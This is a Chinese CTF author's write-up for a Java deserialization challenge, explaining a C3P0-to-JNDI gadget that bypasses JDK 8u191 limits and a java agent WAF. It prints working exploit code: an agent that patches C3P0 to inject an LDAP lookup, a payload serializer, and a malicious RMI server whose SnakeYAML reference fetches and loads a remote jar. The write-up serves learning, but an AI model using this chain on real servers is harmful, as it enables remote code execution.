节分端午自谁言,万古传闻为屈原。堪笑楚江空渺渺,不能洗得直臣冤。
首先祝大家端午节安康
0x00 题为话
前段时间dest0g3 新生赛中受颜老板邀请出一个jndi相关的题目,当时想了想目前jndi这个知识点网上基本上弄的比较透彻,所有肯定是要出bypass 8u191的jndi。其中的浅蓝师傅的探索高版本 JDK 下 JNDI 漏洞的利用方法非常精彩,为了出题自己重新去看了一遍并且尝试挖掘其他的gadgets(挖了一些没公开),先说说目前自己出ctf题的想法吧,(自认为)基本上是出和真实环境相关的题。并且基本上说给源代码的因为自己不喜欢猜来猜去的。回到题目构造的思路上,当时自己去寻找了一些没有tomcat的中间件去搭建题目环境并且寻找Factory去利用构造发现工作量有点小大(太懒了)就没有去弄了,就简简单单的弄了一个springboot的环境内含tomcat,然后前面的话就弄一个简简单单的反序列化去触发jndi 的gadgets 交差!
0x01 题环境搭建介绍
这里自己选的是C3P0链,一方面是比较简单,另一方面是真实基本上比较常见至少有一定的价值。C3P0存在的链子有http连接加载执行和不出网的Factory利用(见JAVA反序列化之C3P0不出网利用),这里肯定不能用现成的gadgets去打,并且也不能使用网上的bypass jndi工具去执行el表达式这些绕过。所有加入了java agent技术。既然说到这里了就简单的介绍一下java agent的使用场景 1. agent内存马 2.可以修改源代码起等防御的作用(本质上差不多是rasp) 等等。在防御的时候我选择了运行中防御,也就是为什么题目附件里面有一个需要进入docker 执行java -jar waf.jar
噢对了 jdk环境肯定是大于8u191的
0x02 分析题目
题目非常简单就一个反序列化入口点不能存在ldap的字符串(自己感觉处理的不好,因为可能存在绕过然后就出现其他问题比如ldap打反序列化返回数据执行原来的c3p0 gadgets rce),有经验的看到这里就已经猜到了使用rmi 的Factory去绕过。并且存在 C3p0的依赖。那思路就清楚了。通过反序列化C3P0去jndi然后执行命令rce。
前几天有师傅说使用yso的就可以打通,那说明我的waf.jar没有配置好。。自己的问题不好意思
那我们看看waf.jar里面是啥
main方法里面其实就是去选择名为DemoApplication的程序去获得pid,之后进行hook,核心内容在simpleDemo0 和simpleDemo1。这里说一个就可以了因为代码差不多一样
simpleDemo0 中对org/apache/tomcat/util/net/SocketBufferHandler类进行hook
1 2 3 4 5 6 7
| if ("org/apache/tomcat/util/net/SocketBufferHandler".equals(className)) { try { AgentDemo.el(inst, loader); } catch (Exception var7) { var7.printStackTrace(); } }
|
并且执行AgentDemo.el(inst, loader);
1 2 3 4 5 6 7 8 9 10 11 12
| public static byte[] el(Instrumentation inst, ClassLoader loader) throws Exception { Class<?> elProcessorClass = Class.forName("javax.el.ELProcessor", true, loader); ClassPool classPool = new ClassPool(true); classPool.insertClassPath(new ClassClassPath(elProcessorClass)); classPool.insertClassPath(new LoaderClassPath(elProcessorClass.getClassLoader())); CtClass ctClass = classPool.get(elProcessorClass.getName()); CtMethod ctMethod = ctClass.getMethod("eval", "(Ljava/lang/String;)Ljava/lang/Object;"); ctMethod.insertBefore(String.format(" if (expression!=null){\n return null;\n }", AgentDemo.class.getName())); inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(elProcessorClass, ctClass.toBytecode())}); ctClass.detach(); return ctClass.toBytecode(); }
|
可以看到这里使用了javassist技术去修改eval方法里面的逻辑,也就是如果expression!=null就直接return null;
为什么这样呢,因为通过el表达式执行 expression肯定不为null,所有相当于起得了防御的作用。simpleDemo1同理
然后知道了题目不能使用el表达式去执行,并且c3p0 gadgets中 reference不能有值。这里不分析C3P0已经存在的gadgets,网上有很多。。。
现在的问题就是在C3P0中选择jndi的gadgets,其实非常简单。
在 com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized#getObject中已经有了lookup方法
满足条件就可以jndi了,具体的细节大家自己分析噢。我这里只是说一下主要的问题就是正常的反序列化contextName变量为null的问题。为什么是这样勒因为在 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject中进行了实例化操作
1
| oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));
|
所有我们要解决这个问题。我这里想到的方法有3个
修改C3P0源代码 比较简单
通过agent技术去修改源代码
像jre8u20 gadgets一样去操作反序列化的字节码(有点麻烦 理论上肯定可以)
有其他方法欢迎讨论
现在jndi的问题解决了,那rce怎么办呢? 我们看看springboot中本身存在什么依赖
有一个yaml 那非常好 浅蓝师傅的探索高版本 JDK 下 JNDI 漏洞的利用方法里面说到了这个利用方法直接拿来用就可以了。
有师傅用了xxe去读文件(也可以接受至少是这个方向上的利用
0x03 poc
jndi poc
如下代码就是我使用agent技术去实现的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor; import javassist.*;
import java.io.File; import java.io.UnsupportedEncodingException; import java.lang.instrument.ClassDefinition; import java.lang.instrument.Instrumentation; import java.net.URLDecoder; import java.util.List;
public class AgentDemo { public static void main(String[] args) throws Throwable{ Class.forName("sun.tools.attach.HotSpotAttachProvider"); List<VirtualMachineDescriptor> vms = VirtualMachine.list(); String targetPid = null; for (int i = 0; i < vms.size(); i++) { VirtualMachineDescriptor vm = vms.get(i); if (vm.displayName().contains("main")) { System.out.println(vm.displayName()); targetPid = vm.id(); System.out.println(targetPid); } } VirtualMachine virtualMachine = VirtualMachine.attach(targetPid); virtualMachine.loadAgent(getJarFileByClass(AgentDemo.class),null); virtualMachine.detach(); } public static String getJarFileByClass(Class cs) { String fileString=null; String tmpString; if (cs!=null) { tmpString=cs.getProtectionDomain().getCodeSource().getLocation().getFile(); if (tmpString.endsWith(".jar")) { try { fileString= URLDecoder.decode(tmpString,"utf-8"); } catch (UnsupportedEncodingException e) { fileString=URLDecoder.decode(tmpString); } } } return new File(fileString).toString(); }
public static void agentmain(String agentOps, Instrumentation inst) throws Exception { for (Class allLoadedClass : inst.getAllLoadedClasses()) { if (allLoadedClass.getName().contains("c3p0.main")) { Class<?> elProcessorClass = Class.forName("com.mchange.v2.naming.ReferenceIndirector"); ClassPool classPool = new ClassPool(true); classPool.insertClassPath(new ClassClassPath(elProcessorClass)); classPool.insertClassPath(new LoaderClassPath(elProcessorClass.getClassLoader())); CtClass ctClass = classPool.get(elProcessorClass.getName()); CtMethod ctMethod = ctClass.getMethod("indirectForm","(Ljava/lang/Object;)Lcom/mchange/v2/ser/IndirectlySerialized;"); ctMethod.insertBefore(String.format("java.util.Properties properties = new java.util.Properties();\n" + " javax.naming.CompoundName compoundName = new javax.naming.CompoundName(\"ldap://127.0.0.1:6666/calc\",properties);" + "contextName=compoundName;",AgentDemo.class.getName())); inst.redefineClasses(new ClassDefinition(elProcessorClass,ctClass.toBytecode())); ctClass.detach(); } } } }
|
生成jar之后run下面代码就可以成功生exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| package c3p0;
import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import com.mchange.v2.naming.ReferenceIndirector;
import javax.naming.*; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.Base64; import java.util.Properties; import java.util.logging.Logger;
public class main { public static void main(String[] args) throws Exception{ Thread.sleep(5000); PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource()); writeFile("2.txt",serialize(b)); }
private static final class PoolSource extends ReferenceIndirector implements ConnectionPoolDataSource, Referenceable {
public PoolSource () { }
public Reference getReference () throws NamingException { return null; }
public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} }
public static byte[] serialize(final Object obj) throws Exception { ByteArrayOutputStream btout = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(btout); objOut.writeObject(obj); return btout.toByteArray(); }
public static Object deserialize(final byte[] serialized) throws Exception { ByteArrayInputStream btin = new ByteArrayInputStream(serialized); ObjectInputStream objIn = new ObjectInputStream(btin); return objIn.readObject(); }
private static void writeFile(String filePath, byte[] content) throws Exception { FileOutputStream outputStream = new FileOutputStream(filePath); outputStream.write( content ); outputStream.close(); }
public static byte[] FiletoBytes(String filename) throws Exception{ String buf = null; File file = new File(filename); FileInputStream fis = null; fis = new FileInputStream(file); int size = fis.available(); byte[] bytes = new byte[size]; fis.read(bytes); return bytes; } }
|
yaml load poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public static void main(String[] args)throws Exception { System.out.println("[*]Evil RMI Server is Listening on port: 6666"); Registry registry = LocateRegistry.createRegistry( 6666); ResourceRef ref = tomcat_snakeyaml(); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("calc", referenceWrapper); }
public static ResourceRef tomcat_snakeyaml(){ ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); String yaml = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://127.0.0.1:8888/calc.jar\"]\n" + " ]]\n" + "]"; ref.add(new StringRefAddr("forceString", "a=load")); ref.add(new StringRefAddr("a", yaml)); return ref; }
|
calc.jar怎么制作 github有现成的。
0x04 总结
这道ljctr的题就完成了,正如题目名字一样ljctr的出题。其实怎么说呢,自己感觉还不错,至少可以让做题的人学到一些东西灵活处理java中的问题。并且可能在真实环境中存在也是我出题的初衷了。wp一直没有时间写拖了这么久抱歉。c3p0_jndi_agnet.jar
题目复现可以在buuctf中寻找。